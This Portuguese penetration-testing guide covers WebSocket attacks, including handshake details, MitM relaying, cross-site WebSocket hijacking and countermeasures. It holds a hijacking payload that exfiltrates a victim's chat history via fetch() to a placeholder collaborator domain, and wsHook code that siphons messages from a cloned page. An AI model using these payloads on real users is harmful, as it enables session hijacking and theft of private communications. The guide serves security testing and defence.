WebSocket Attacks

Reading time: 11 minutes

O que são WebSockets

As conexões WebSocket são estabelecidas através de um handshake inicial HTTP e são projetadas para serem de longa duração, permitindo a troca de mensagens bidirecionais a qualquer momento sem a necessidade de um sistema transacional. Isso torna os WebSockets particularmente vantajosos para aplicações que requerem baixa latência ou comunicação iniciada pelo servidor, como fluxos de dados financeiros ao vivo.

Estabelecimento de Conexões WebSocket

Uma explicação detalhada sobre o estabelecimento de conexões WebSocket pode ser acessada aqui. Em resumo, as conexões WebSocket são geralmente iniciadas via JavaScript do lado do cliente, como mostrado abaixo:

var ws = new WebSocket("wss://normal-website.com/ws")

O protocolo wss significa uma conexão WebSocket segura com TLS, enquanto ws indica uma conexão não segura.

Durante o estabelecimento da conexão, um handshake é realizado entre o navegador e o servidor via HTTP. O processo de handshake envolve o navegador enviando uma solicitação e o servidor respondendo, conforme ilustrado nos seguintes exemplos:

O navegador envia uma solicitação de handshake:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Resposta de handshake do servidor:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

A conexão permanece aberta para troca de mensagens em ambas as direções uma vez estabelecida.

Pontos Chave do Handshake WebSocket:

• Os cabeçalhos Connection e Upgrade sinalizam o início de um handshake WebSocket.
• O cabeçalho Sec-WebSocket-Version indica a versão do protocolo WebSocket desejada, geralmente 13.
• Um valor aleatório codificado em Base64 é enviado no cabeçalho Sec-WebSocket-Key, garantindo que cada handshake seja único, o que ajuda a prevenir problemas com proxies de cache. Este valor não é para autenticação, mas para confirmar que a resposta não é gerada por um servidor ou cache mal configurado.
• O cabeçalho Sec-WebSocket-Accept na resposta do servidor é um hash do Sec-WebSocket-Key, verificando a intenção do servidor de abrir uma conexão WebSocket.

Essas características garantem que o processo de handshake seja seguro e confiável, abrindo caminho para uma comunicação em tempo real eficiente.

Console Linux

Você pode usar websocat para estabelecer uma conexão bruta com um websocket.

websocat --insecure wss://10.10.10.10:8000 -v

Ou para criar um servidor websocat:

websocat -s 0.0.0.0:8000 #Listen in port 8000

Conexões websocket MitM

Se você descobrir que os clientes estão conectados a um websocket HTTP da sua rede local atual, você pode tentar um ARP Spoofing Attack para realizar um ataque MitM entre o cliente e o servidor.
Uma vez que o cliente esteja tentando se conectar, você pode então usar:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Enumeração de Websockets

Você pode usar a ferramenta https://github.com/PalindromeLabs/STEWS para descobrir, identificar e buscar por vulnerabilidades conhecidas em websockets automaticamente.

Ferramentas de Depuração de Websocket

• Burp Suite suporta comunicação MitM de websockets de uma maneira muito semelhante à que faz para comunicação HTTP regular.
• A extensão socketsleuth do Burp Suite permitirá que você gerencie melhor as comunicações de Websocket no Burp, obtendo o histórico, definindo regras de interceptação, usando regras de correspondência e substituição, utilizando Intruder e AutoRepeater.
• WSSiP: Abreviação de "WebSocket/Socket.io Proxy", esta ferramenta, escrita em Node.js, fornece uma interface de usuário para capturar, interceptar, enviar mensagens personalizadas e visualizar todas as comunicações WebSocket e Socket.IO entre o cliente e o servidor.
• wsrepl é um REPL interativo de websocket projetado especificamente para testes de penetração. Ele fornece uma interface para observar mensagens de websocket recebidas e enviar novas, com uma estrutura fácil de usar para automatizar essa comunicação.
• https://websocketking.com/ é uma web para se comunicar com outras webs usando websockets.
• https://hoppscotch.io/realtime/websocket entre outros tipos de comunicações/protocolos, fornece uma web para se comunicar com outras webs usando websockets.

Descriptografando Websocket

• https://github.com/Anof-cyber/PyCript
• https://github.com/Anof-cyber/PyCript-WebSocket/

Laboratório de Websocket

No Burp-Suite-Extender-Montoya-Course você tem um código para lançar uma web usando websockets e em este post você pode encontrar uma explicação.

Fuzzing de Websocket

A extensão do burp Backslash Powered Scanner agora permite fuzzing também de mensagens WebSocket. Você pode ler mais informações sobre isso aqui.

Sequestro de WebSocket entre Sites (CSWSH)

Sequestro de WebSocket entre sites, também conhecido como sequestro de WebSocket de origem cruzada, é identificado como um caso específico de Cross-Site Request Forgery (CSRF) que afeta os handshakes de WebSocket. Essa vulnerabilidade surge quando os handshakes de WebSocket se autenticam exclusivamente via cookies HTTP sem tokens CSRF ou medidas de segurança semelhantes.

Os atacantes podem explorar isso hospedando uma página web maliciosa que inicia uma conexão de WebSocket entre sites para um aplicativo vulnerável. Consequentemente, essa conexão é tratada como parte da sessão da vítima com o aplicativo, explorando a falta de proteção CSRF no mecanismo de gerenciamento de sessão.

Para que esse ataque funcione, estes são os requisitos:

• A autenticação de websocket deve ser baseada em cookies
• O cookie deve ser acessível a partir do servidor dos atacantes (isso geralmente significa SameSite=None) e sem Proteção Total de Cookies do Firefox habilitada no Firefox e sem cookies de terceiros bloqueados no Chrome.
• O servidor websocket não deve verificar a origem da conexão (ou isso deve ser contornável)

Além disso:

• Se a autenticação for baseada em uma conexão local (para localhost ou para uma rede local), o ataque será possível já que nenhuma proteção atual o proíbe (verifique mais informações aqui)

Ataque Simples

Observe que ao estabelecer uma conexão de websocket, o cookie é enviado para o servidor. O servidor pode estar usando isso para relacionar cada usuário específico com sua sessão de websocket com base no cookie enviado.

Então, se por exemplo o servidor de websocket enviar de volta o histórico da conversa de um usuário se uma mensagem com "READY" for enviada, então um XSS simples estabelecendo a conexão (o cookie será enviado automaticamente para autorizar o usuário vítima) enviando "READY" poderá recuperar o histórico da conversa.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Cross Origin + Cookie com um subdomínio diferente

Neste post do blog https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/, o atacante conseguiu executar Javascript arbitrário em um subdomínio do domínio onde a comunicação do web socket estava ocorrendo. Como era um subdomínio, o cookie estava sendo enviado, e como o Websocket não verificou o Origin corretamente, foi possível se comunicar com ele e roubar tokens dele.

Roubo de dados do usuário

Copie a aplicação web que você deseja impersonar (os arquivos .html, por exemplo) e dentro do script onde a comunicação do websocket está ocorrendo adicione este código:

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Agora baixe o arquivo wsHook.js de https://github.com/skepticfx/wshook e salve-o dentro da pasta com os arquivos da web.
Expondo a aplicação web e fazendo um usuário se conectar a ela, você poderá roubar as mensagens enviadas e recebidas via websocket:

sudo python3 -m http.server 80

Proteções CSWSH

O ataque CSWSH é baseado no fato de que um usuário se conectará a uma página maliciosa que abrirá uma conexão websocket para uma página da web onde o usuário já está conectado e se autenticará como ele, pois a solicitação enviará os cookies do usuário.

Hoje em dia, é muito fácil prevenir esse problema:

• Servidor websocket verificando a origem: O servidor websocket deve sempre verificar de onde um usuário está se conectando para evitar que páginas inesperadas se conectem a ele.
• Token de autenticação: Em vez de basear a autenticação em um cookie, a conexão websocket poderia ser baseada em um token que é gerado pelo servidor para o usuário, desconhecido pelo atacante (como um token anti-CSRF).
• Atributo de Cookie SameSite: Cookies com valor SameSite como Lax ou Strict não serão enviados de uma página de atacantes externos para o servidor da vítima, portanto, a autenticação baseada em cookies não será bem-sucedida. Note que o Chrome agora define o valor Lax para os cookies sem essa flag especificada, tornando isso mais seguro por padrão. Embora, nos primeiros 2 minutos em que um cookie é criado, ele terá o valor None, tornando-o vulnerável durante esse período limitado de tempo (também é esperado que essa medida seja removida em algum momento).
• Proteção Total de Cookies do Firefox: A Proteção Total de Cookies funciona isolando cookies para o site em que são criados. Essencialmente, cada site tem seu próprio armazenamento de cookies para evitar que terceiros vinculem o histórico de navegação de um usuário. Isso torna CSWSH inutilizável, pois o site do atacante não terá acesso aos cookies.
• Bloqueio de cookies de terceiros do Chrome: Isso também pode impedir o envio do cookie do usuário autenticado para o servidor websocket, mesmo com SameSite=None.

Condições de Corrida

Condições de Corrida em WebSockets também são uma realidade, verifique esta informação para saber mais.

Outras vulnerabilidades

Como os Web Sockets são um mecanismo para enviar dados para o lado do servidor e do cliente, dependendo de como o servidor e o cliente lidam com as informações, os Web Sockets podem ser usados para explorar várias outras vulnerabilidades, como XSS, SQLi ou qualquer outra vulnerabilidade web comum usando a entrada de um usuário de um websocket.

WebSocket Smuggling

Essa vulnerabilidade pode permitir que você bypasse as restrições de proxies reversos fazendo-os acreditar que uma comunicação websocket foi estabelecida (mesmo que não seja verdade). Isso pode permitir que um atacante acesse endpoints ocultos. Para mais informações, consulte a página a seguir:

Upgrade Header Smuggling

Referências

• https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
• https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/